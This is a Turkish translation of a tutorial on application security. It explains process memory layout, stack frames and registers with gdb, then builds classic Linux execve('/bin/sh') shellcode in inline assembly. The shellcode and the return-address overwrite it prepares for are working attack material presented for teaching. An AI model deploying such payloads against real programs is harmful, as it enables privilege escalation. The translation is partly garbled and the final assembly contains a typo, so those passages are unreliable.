Bu makalenin farklı dillerde bulunduğu adresler: English Castellano Deutsch Francais Nederlands Russian Turkce Korean |
tarafından Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakkında: Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux meraklısı ve birçok işini bu sistem yardımıyla yapıyor.Linux Dökümantasyon Projesi tarafından yayınlanan kişisel sayfaların çevirisinin organizasyonunu yapıyor. Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir tutkusu var. Frédéric Raynal birçok senedir Linux kullanıyorlar çünkü o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece ter ve oyunlar. İçerik:
|
Özet:
Bu makale serileri uygulamalarda ortaya çıkan genel güvenlik sorunlarını vurgulamak amacıyla oluşturulmuştur.Bu gibi istenmeyen sorunların çeşitli gelişmeler yardımıyla nasıl aşılacağını göstermektedir.
Bu makale, hafıza organizasyonu/yayılımı, fonksiyon ve hafıza arasındaki ilişki konuları üzerinde yoğunlaşmıştır.Son bölüm kabuk kodu'nun nasıl oluşturulacağı konusunu ele almaktadır.
Talimat kümesinden oluşan bir program düşünelim, makina koduyla ifade edilsin ( yazmak için kullanılan dil gözardı edilsin ),işte biz bunlara binary diyoruz.Binary dosyasını derlerken program kaynağı değişkenleri, sabitleri ve talimatları tutar.Bu bölüm binary dosyasının değişik bölümlerini hafıza yayılımını sunuyor.
Binary dosyası çalıştığında neler olduğunu anlamak için, hafıza organizasyonuna bir bakalım.Değişik alanlara itimat etmektedir :
Genellikle ama herzaman değil, biz sadece bu makale için önemli olan bazı bölgelere yoğunlaşacağız.
size -A file --radix 16
komutu derlemek için gerekli
her bir alanın boyutunu verir.Burdan hafıza adreslerini alırsınız
(objdump
komutu bu bilgiye ulaşmak için kullanılır).
Bu size
komutu binary olarak "fct":
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini ro 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
alanı program talimatlarını tutmaktadır.Bu alan
sadece-oku.Bu aynı binary dosyasını çalıştıran bütün işlemler
arasında paylaşıldı.Bu alana yazmaya teşebbüs etmek segmentasyon
ihlali hatasına sebep olur.
Diğer alanları açıklamadan önce gelin C'deki değişkenler ile ilgili
birkaç şey söyleyelim.global değişkenler tüm program da kullanılır
ancak local değişkenler sadece fonksiyonlarla birlikte kullanılır.
static değişkenler bilindik bir boyuta sahiptirler.Boyutları çeşitlerine
bağlıdır.Çeşitleri ise örneğin;char
, int
, double
,
işaretçiler vs.Bir işaretçibir adres işaret eder bir hafıza ile birlikte.Bu
bir PC tipi makinada 32bit 'tir.Bilinmeyen birşey varki o da derleme sırasında
işaretçinin hangi alana doğru olduğudur.Bir dynamic değişkeni bir hafıza bölgesi
ve bunlara işaret eden işaretçileri (işaretçinin kendisi değil adresi) ifade eder.
Verilen işlem için hafıza organizasyonuna geri dönelim.data
alanı global duragan verileri saklar ( bu veri derleme zamanını sağlar ),
bss
parçası başta yer almayan global verileri tutar.Bu alanlar
derleme zamanı için ayrılmıştır ve boyutları tuttukları nesnelere göre
tanımlanmıştır.
Yerel ve dinamik değişkenler bir hafıza alanı içinde gruplandırılır. Bu hafıza alanı programın çalışması için ayrılmıştır.(user stack frame). Fonksiyonlar yardıma çağrılır, yerel değişkenler için gelişmiş örnekler bilinmemektedir.Bunları tanımladığımız zaman bunları bir stackiçine koyacağız.Bu yığıt en yüksek adreslerin üzerindedir ve LIFO modeline göre çalışır(Last In, First Out).user frame altındaki alan dinamik değişkenlerin tahsisine kullanılmıştır.Bu alan heap şeklinde tanımlanır ve işaretçiler ve dinamik değişkenler tarafından adreslenen hafıza alanlarını tutar.Açıkça görülüyorki, bir işaretçi 32bit ya BSS veya yığıtta.Tahsis edildiğinde ilk ayrılmış byte'a karşı gelen bir adres alır.
Sıradaki örnek hafızadaki değişken yayılımını örneklemektedir:
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserving de 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
gdb
debugger tüm bunları onaylayacaktır.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
Gelin bu f()
fonksiyonuna bir aralık
bırakalım ve programı bu noktayakadar çalıştıralım :
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
Şimdi değişkenlerin yerlerini görebiliyoruz.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
Komut 1 (print &index
) hafıza adresini index
global değişken için gösteriyor.İkinci talimat (info
) birleştirme
sembolü veriyor bu adres ve hafızadaki yer için:index
, global
durağan değişkeni bu data
alanda saklanmaktadır.
3.ve 4. talimatlar başta gelmeyen durağan değişkenleri nothing
,
BSS
parçası içinde yer almaktadır.
5.satırda str
...komutu görülüyor.Gerçekte str
değişken içermektedir, ve bu adres 0x80495a8
.Talimat 6 hiçbir
değişken bu adreste tanımlanmamıştır.Komut 7 str
değişken adresini
almaya izin verir ve komut 8 onu işaret eder ve BSS
parçasında
bulunabilir.
9'da 4 byte adresteki hafızaya karşı gelir 0x804959c
:
Bu bir ayrılmış adresle birlikte kümeye karşı gelir.10'un içeriğinde
şu string vardır "abcde" :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
Yerel değişkenler c
ve i
yığıtın içinde yer
alır.
size
komutu sayesinde boyutun geri döndüğüne dikkat çekmek
istiyoruz.Ancak programa baktığımızda farklı alanlar beklediğimiz gibi uyum
sağlamaz.Bunun sebebi program çalıştırıldığında kütüphanede değişik değişkenlerin
varolmasıdır.(type info variables
under gdb
to get them all).
Her seferinde fonksiyon tanımlandığında, yeni bir çevre terel
değişlenler için gerekli hafıza ile birlikte ve fonksiyon
parametreleri ile birlikte oluşturulur (burda environment
fonksiyon çalıştırılırken tüm elementler görüleceği manasına gelir : argümanları,
yerel değişkenleri,çalışan yığıtlarında varolan geri dönüş adresleri...fakat
bir önceki makalede bahsettiğimiz kabuk değişkenleri için çevre değil).
%esp
(extended stack pointer) kaydı en yüksek yığıt
adreslerini tutar.
Yerel değişkenlerin yığıtlarla birlikte adresleri göreceli karşılık olarak
%esp
ifade edilebilir.Başlıklar herzaman eklenip çıkarılabilir
yığıtlardan ve her değişkenin karşılığı ayarlanabilir.Bu çok etkisizdir.
İkinci kayıtın kullanılması şu gelişmeye yol açar : %ebp
(genişletilmiş taban işaretçisi) başlangıç adresini tutar.Böylece,
kayıtla ilgili offset açıklamak yeterli olur.Fonksiyon çalışırken
sabit kalır.Parametreleri bulmak veya fonksiyonları yerel değişkenler ile
birlikte kolay değildir.
Yığıtların temel birimleri word : i386 CPU'lar üzerinde 32bit
ve 4 byte'dır.Örneğin, Alpha CPU'ları bir kelime için 64bit yer ayırır.
Yığıtlar sadece kelimeleri yönetir.Bunun anlamı her yer ayrılmış değişken
bazı kelime numarası kullanır.İlerde fonksiyonların açıklamasında ayrıntılı
bir şekilde göreceğiz. str
gösteriminde değişken gdb
kullanılışını içerir.bir önceki örnek bunu örnekliyor. gdb
x
komutu tüm cümleyi gösteriyor (soldan sağa oku little endian
açıklamasına kadar.
Yığıt 2 cpu talimatı tarafından kontrol edilebilir :
push value
: azaltır %esp
kelime ile birlikte,
bir sonraki kelimenin adresini almak için, saklanan value
komutun
argüman olarak verilmesi gereklidir.Bu talimat yığıtın en üst noktası üzerindeki
değeri verir;pop dest
: adreste tutulan değeri verir ve %esp
tarafından işaret edilir ve dest
'in içinde bulunur ve bu kayıt
içeriğini yükseltir.En yüksekteki yığıt başlığını yerini değiştirir.Kayıtlar gerçekte nedir?Onları yalnızca birer çizici olarak görebilirsiniz, bir kelime serisinden oluşmuşlardır.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Hafıza ve CPU arasında direk bir iletişime izin verir.
İlk olarak 'e
' kayıtlarda görünür ve "extended" manasına
gelir ve 16bit ile 32bit arasındaki evrimi işaret eder.
Kayıtlar dört sınıfa ayrılırlar :
%eax
, %ebx
,
%ecx
ve %edx
veriyi yönetmek için kullanılır;%cs
, %ds
,
%esx
ve %ss
, hafızanın ilk parçasını tutar;%eip
(Extended Instruction Pointer) :bir sonraki talimatın
çalışması için gerekli olan adresi işaret eder;%ebp
(Extended Base Pointer) :fonksiyon için yerel çevrenin
başlangıcını işaret eder;%esi
(Extended Source Index) :hafıza bloğunu kullanan
bir operasyondaki veri kaynağının karşılığını tutar;%edi
(Extended Destination Index) :hafıza bloğunu kullanan
bir operasyondaki varılacak veri karşılığını tutar;%esp
(Extended Stack Pointer) :yığıtın en üst noktası;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
Bu bölümün amacı yukarıda yer alan fonksiyonların davranışlarını yığıtlara ve kayıtlara dikkat ederek açıklamaktır.Bazı saldırılar bir programın çalışmasını değiştirebilirler.Bunları anlamak için nelerin düzgün çalıştığını bilmek gereklidir.
Bir fonksiyonun çalışması üç aşamaya ayrılır :
push %ebp mov %esp,%ebp push $0xc,%esp //$0xc depends on each program
Bu üç talimat prolog'un dedilerini tapıyor.diagram 1
ayrıntıları toto()
fonsiyonunun başlangıcının %ebp
ve %esp
kayıt parçalarının nasıl çalıştığını açıklamaktadır :
Başlangıçta, %ebp noktaları hafızada herhangi bir X adresini
işaret eder.%esp yığıtta en düşük yerdedir Y adresinde ve son yığıt
giriş noktasını işaret eder.Bir fonksiyon girildiğinde "geçerli çevre" 'yi kaydetmek
zorundasınız.Bu %ebp 'dur.%ebp 'den beri yığıtın içine konur
ve %esp hafıza sözcüğü tarafından azaltılır. |
|
Bu ikinci talimat fonksiyon için yeni bir "çevre" inşa edilmesini %ebp
kodunu yığıtın en başına konulması ile sağlar.%ebp ve %esp
bir önceki çevre adresini tutarlar ve aynı hafıza noktasını işaret ederler. |
|
Şimdi yerel değişkenler için yığıt boşluğu ayrılmış durumdadır.Karakter
sırası beş başlıkla tanımlanmıştır ve 5 byte (bir char bir byte) yere ihtiyaç vardır.
Bununla birlikte yığıtlar sadece words'ü yönetirler ve sadece word'ten oluşan birkaç
(1 word, 2 words, 3 words, ...) yer ayırırlar.4 byte yerine
5 byte word saklamak için 8 byte ( 2 words) kullanmanız gerekli.
String'in bir parçası olmasa dahi bu parça kullanılabilir.k tam sayı
4 byte kullanır.Bu boşluk %esp 'un 0xc tarafından azaltılması için kullanılır.
Yerel değişkenler 8+4=12 byte kullanırlar (örneğin 3 sözcük). |
Bu mekanizmadan başka burda hatırlanması gereken önemli bir nokta da
yerel değişkenlerin yeridir : yerel değişkenler %ebp
ile ilgili olarak negative gibi bir karşılığa sahiptirler.
i=0
talimatı main()
fonksiyonu içinde bunu örnekler.Makine kodu
i
'yi çalıştırmak için direkt olmayan bir adresleme yöntemi kullanır :
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
0xfffffffc
heksedesimal -4
tam sayısını ifade eder.
Bu notasyonun anlamı 0
değerini "-4 byte" ın bulunduğu %ebp
kaydına yerleştir. i
ilk ve tek yerel değişkendir main()
fonksiyonunun içinde yer alan.Böylece onun adresi 4 byte (örneğin tam sayını boyutu)
%ebp
kaydının altındadır. Fonksiyonun başında yapıldığı gibi fonksiyon kendi çevresini hazırlar, fonksiyon bu fonksiyona argumanlarını alması için izin verir ve çağıran fonksiyona geri dönerek işlemi bitirir.
Örnek olarak toto(1, 2);
çağrısını ele alalım.
Fonksiyon çağırmadan önce argumanlar yığıtta saklı olmalıdırlar.Bizim bu örneğimizde,
iki sabit tam sayı 1 ve 2 birinci yığıttır ve sonuncuyla başlar. %eip
kaydı bir sonraki talimatın adresini çalışması için tutar. |
|
push %eipBir argüman gibi değerlendirilip call 'e göndermek için bir
değer verilmiştir.Bu da talimatın başındaki toto() fonksiyonun
adresine karşılık gelir.Bu adres sonra %eip 'a kopyalanır.Böylece
yeni talimat çalışmaya başlar. |
İlk önce biz fonksiyonun içindeyiz. 'nun argümanları ve
geri dönen adresin positive karşılığı vardır %ebp
ile
ilgili olan.Bir sonraki talimat bu kayıtı yığıtın en üstüne yerleştirir.j=0
talimatı toto()
'ın içindedir.Fonksiyon bunu örnekler.Makina kodu tekrar bu
indirekt adreslemeyi j
'yi çalıştırmak için kullanır :
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
0xc
heksedesimali +12
tam sayısını ifade eder.
Bu notasyon "+12 byte" da bulunan 0
değerini ifade eder.
j
fonksiyonun ikinci argümanıdır ve 12 byte'ın en üst noktasında bulunur.
(4 talimatın işaretçisi, 4 birinci argüman ve 4 ikinci argüman için.)Bir fonksiyonu terketmek iki aşamada yapılır.İlk olarak,çevre fonksiyon için
temizlenmelidir (örneğin %ebp
ve %eip
yerleştirmek çağırmadan önce).
Yığıtı kontrol etmemiz fonksiyon için gerekli bilgiyi almak için gereklidir.
Birinci adım fonksiyon ile birlikte atılmış oldu. :
leave ret
Bir sonraki fonksiyon ile yapılacak olan çağrının yer tutması ve yığıtın yer teşkil etmesidir.
Bir önceki örneği taşıyoruz toto()
fonksiyonu ilgili olan.
Burda başlangıç koşullarını açıklıyoruz.Çağrıdan önce %ebp
adreste yer alır. X ve %esp , Y adresinde yer alır.
Buradan fonksiyon argumanlarını biir kenara toplayarak %eip 'i ve %ebp 'i
kaydettik ve yerel değişkenlerimiz için bir kısım yer ayırdık.Bir sonraki çalıştırılan talimat
leave olacaktır. |
|
The instruction leave is equivalent to the sequence :
Birincisimov ebp esp pop ebp %esp ve %ebp 'i alır.İkincisi
%ebp kayıdında yer alanı yığıtın en üstüne yerleştirir.
Sadece bir talimatta (leave ), yığıt başlangıçsız olabilir. |
|
ret talimatı %eip 'ı saklar.Çağrı fonksiyonunun
işlemi bu yolla başlar.Bunun için %eip 'teki yığıtı kaldırabiliriz.
Fonksiyonun argümanları yığıtta saklanana kadar başlangıç koşullarına dönmeyeceğiz.
Onların yerlerini ddeğiştirme bir sonraki talimat olacak. |
|
Parametrelerin yığıt haline getirilmesi çağrı fonksiyonunun içerisinde yapılır.
Bu zıt diyagramda ayıraçlar yardımıyla çağrı fonksiyonda bulunan talimatların arasında
ve add 0x8 ile çağrı fonksiyonunundaki %esp yardımıyla örneklenmiştir.
Bu talimat %esp 'ı yığıtın en üst noktasına verir toto()
fonksiyon parametresinin kullanabildiği kadar kullanarak.%ebp ve
%esp kayıtları şimdi olayın içinde yer alırlar.Diğer yandan %eip
talimat kaydının yeri değişir. |
gdb Makina kodunu almayı sağlar main() ve toto() fonksiyonlarına karşılık gelir :
Talimatlar (renk olmaksızın) bizim program talimatlarımıza karşılık gelir.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
Bazen yığıtlarda varolan işlemlere müdehale etmek mümkündür.Bunu yapmanın yolu fonksiyonun geri dönüş adresinin üzerine yeniden yazmaktır ve keyfi kodlar ile uygulama çalışması yapmaktır.Bu özellikle kırıcılar için ilginçtir eğer uygulama kullanıcıdan farklı bir ID 'de çalışıyorsa.Bu tip bir hata bir bakıma tehlikeli olabilir eğer uygulama bir döküman okumaysa ve başka bir kullanıcı tarafından başlatılabiliyorsa.
Sonraki makalelerde talimatların uygulanmasındaki mekanizm üzerine konuşacağız.
Burda biz kod üzerine çalışıyoruz ki bunu ana uygulama üzerinden çalıştırmayı istiyoruz.
En basit çözüm kabuğu çalıştırmak için bir miktar koda sahip olmaktır.Okuyucu kendini diğer
diğer uygulamalar için örneğin /etc/passwd
dosyasının haklarını değiştirme
konusunda eğitebilir.Bazı nedenlerden dolayı ki bunlar gelecekte açıkça görülecektir,bu program
Makine dilinde yapılmak zorundadır.Bu tip küçük programlar kabuğu çalıştırma kaibliyitine sahiptir
ve bunlara genellikle shellcode adı verilir.
Örneklerde Aleph One'ın makalesinden esinlenilmiştir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.
Kabuk kodunun amacı kabuğu çalıştırmaktır.Bir sonraki C programı bunu örneklemektedir :
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
Fonksiyon kümelerinin arasında kabuğa çağrı gönderme kabiliyeti vardır.
Birçok sebep execve()
'ın kulllanışını doğrular.İlk olarak,
O bir doğru sistem çağrısıdır ve diğer exec()
ailesinden olan fonksiyonlara
benzemez.Bunlar GlibC kütüphanesinin fonksiyonlarıdır ve execve()
'den inşa
edilmişlerdir.Bu kadar kayıt tanımlaması ve onların içerikleri üzerine konuşmak yeterlidir.
Bundan başka eğer execve()
başarılırsa çağrı programı (burda ana uygulamadır)
yeni programın çalıştırılabilir koduyla değiştirilir. execve()
çağrısı başarısızlığa
uğrsdığında program uygulaması devam eder.Örneğimizde kod hareket uygulamasının tam ortasındac yer alır.
Uygulama ile devam etmek anlamsız ve hatta zaralı dahi olabilir.Uygulama ayrıca olabildiği ölçüde hızlı
olmak zorundadır. return (0)
programdan çıkma izni verir ve sadece bu talimat main()
fonksiyonundan çağrıldığı zaman bu beklendiği gibi burada olmayacaktır.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
exit()
yine bir
kütüphane fonksiyonudur.Yeni bir değişiklik bizim sisteme daha yakın olmamızı sağladı :
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }Şimdi programımızı Makine dilindeki karşılığı ile birleştirme zamanımız geldi.
gcc
ve gdb
'yi Makine dili talimatlarını programın karşılıklarını
alırken kullanıyoruz.Gelin shellcode3.c
'u derleyelim (debug opsiyonu yardımıyla).
(-g
) programı bütünleme açısından normalde paylaşılmış kütüphanelerde bulunur.Şimdi
_exexve()
ve _exit()
'yi anlamak için bilgiye ihtiyacımız vardır.
$ gcc -o shellcode3 shellcode3.c -O2 -g --staticSonra
gdb
ile bizim fonksiyonlarımızın Makine karşılıklarına bakacağız.
Bu Linux içindir.
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)Şimdi hafızanın içeriğini bu adresten açıklamaya çalışalım :
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)Şimdi string'in ne olduğunu gördük.
execve()
ve _exit()
fonksiyonlarına bakalım :
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quitÇekirdek çağrısı
0x80
üzerinden 0x804d9d0
adresinde
execve()
için ve 0x804d99b
adresinde _exit()
için yapılır.Bu giriş noktası alışıldıktır. execve()
'a baktığımızda onun
0x0B
değerinin olduğunu ve _exit()
'nun 0x01
değerinin
olduğunu görürüz.
Bu fonksiyonların analizi Makine talimatlarıdır ve bunların kullanılışı parametreler yardımıyla sağlanırlar :
execve()
needs various parameters (cf. diag 4) :
%ebx
kaydı string adresini tutar ve bu adresler komutları
ifade eder çalıştırmak için ;%ecx
kaydı argumanların adreslerini tutar.İlk arguman
programın adı olmak zorundadır ve başka hiçbir seye ihtiyacımız yoktur ;%edx
kaydı array adreslerini tutar ve programın çevresinin
harekete geçmesini sağlar.Program örneğimizi saklamak için boş bir çevre kullanacağız :
Bu NULL işaretçisidir._exit()
fonksiyonu çalışmayı durdurur ve uygulama kodunu genellikle kabuğa
geri gönderir ve %ebx
register içerisinde tutar ;"/bin/sh
" string'ine ihtiyacımız vardır, bir işaretçi bu
string'e ve NULL işaretçisine. execve()
çağrısından sonra olası
bir veriyi sunabiliriz.Bir array inşa etmek için bir işaretçiyle birlikte /bin/sh
string'ine NULL işaretçisini takiben, %ebx
string'i işaret
edecektir.
Kabuk kodu genellikle savunması zor programın komut satırı üzerinden arguman
ile bir çevre değişkeni veya yazılmış bir string ile
yerleştirilebilir.Herneyse, kabuk kodu oluşturulduğunda kullanacağı adresi
bilmiyoruz.Bununla birlikte "/bin/sh
" string'inin adresini
bilmemiz gerekmektedir.Küçük bir oyun bunu öğrenmemizi sağlayabilir.
call
talimatını çağırırken CPU geri dönüş adresini
yığıtta saklar ve bu adres call
talimatını takip eder.
Genellikle, bir sonraki adım yığıt bölümünde saklanmaktadır (özellikle
%ebp
kaydı ile birlikte push %ebp
talimatı)
Geri dönüş adresini almak için subroutine içine girildiğinde pop
talimatının yığıt halinden çıkarılması yeterlidir.Elbette "/bin/sh
"
string'ini saklamamız gereklidir :
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
Elbette subroutine gerçek değildir: execve()
çağrısı
başarır ve uygulama kabukla yer değiştirir veya başarısızlığa uğrar ve
_exit()
fonksiyonu programı sonlandırır. %esi
kaydı bize "/bin/sh
" string adresini verir.Daha sonra bir array
inşa etmek string'ten sonra getirmekle mümkündür :
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
6 diyagramı veri alanını gösterir :
Savunulması zor fonksiyonlar genellikle string yönetimi ile ilgili olanlar
örneğin strcpy()
'dir.Hedef uygulamanın tam ortasına kodu
yerleştirmek için kabuk kodu string şeklinde kopya edilmesi gereklidir.Bununla
birlikte bu kopyalar null karakterini bulur bulmaz hemen duracaktır.Daha sonra
bizim kodumuz olmayacaktır.Birkaç oyun kullanarak null byte'larını yazmayı
engelleyebiliriz.Örneğin talimat
movl $0x00, 0x0c(%esi)will be replaced with
xorl %eax, %eax movl %eax, %0x0c(%esi)Bu örnek null byte'ının kullanılışını gösteriyor.Bununla birlikte bazı talimatların heksedesimale çevirileri ortaya çıkmaktadır.Örneğin
_exit(0)
sistem çağrısı ve diğerleri arasında ayrım
yapmakm için %eax
kayıt değerinin 1 olması gereklidir.
Diğer yandan "/bin/sh
" string'i null byte ile son bulması
gerekmektedir.Biz kabuk kodunu oluştururken bir tane koyabiliriz fakat bu
programın içine konacak mekanizmaya bağlıdır.Bu null byte son uygulamada
görünmeyebilir :
/* movb only works on one byte */ /* this instruction is equivalent to */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
Şimdi kabuk kodunu oluşturmak için herşeye sahibiz :
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* Getting /bin/sh address*/ popl %esi /* Writing it as first item in the array */ movl %esi,0x8(%esi) /* Writing NULL as second item in the array */ xorl %eax,%eax movl %eax,0xc(%esi) /* Putting the null byte at the end of the string */ movb %eax,0x7(%esi) /* execve() function */ movb $0xb,%al /* String to execute in %ebx */ movl %esi, %ebx /* Array arguments in %ecx */ leal 0x8(%esi),%ecx /* Array environment in %edx */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null return code */ xorl %ebx,%ebx /* _exit() function : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4
shellcode4.c
" ile kod derlenir. "objdump
--disassemble shellcode4
" komutu yardımıyla bizim binary'imiz (ikili
tabanımız) daha fazla null byte tutmazlar :
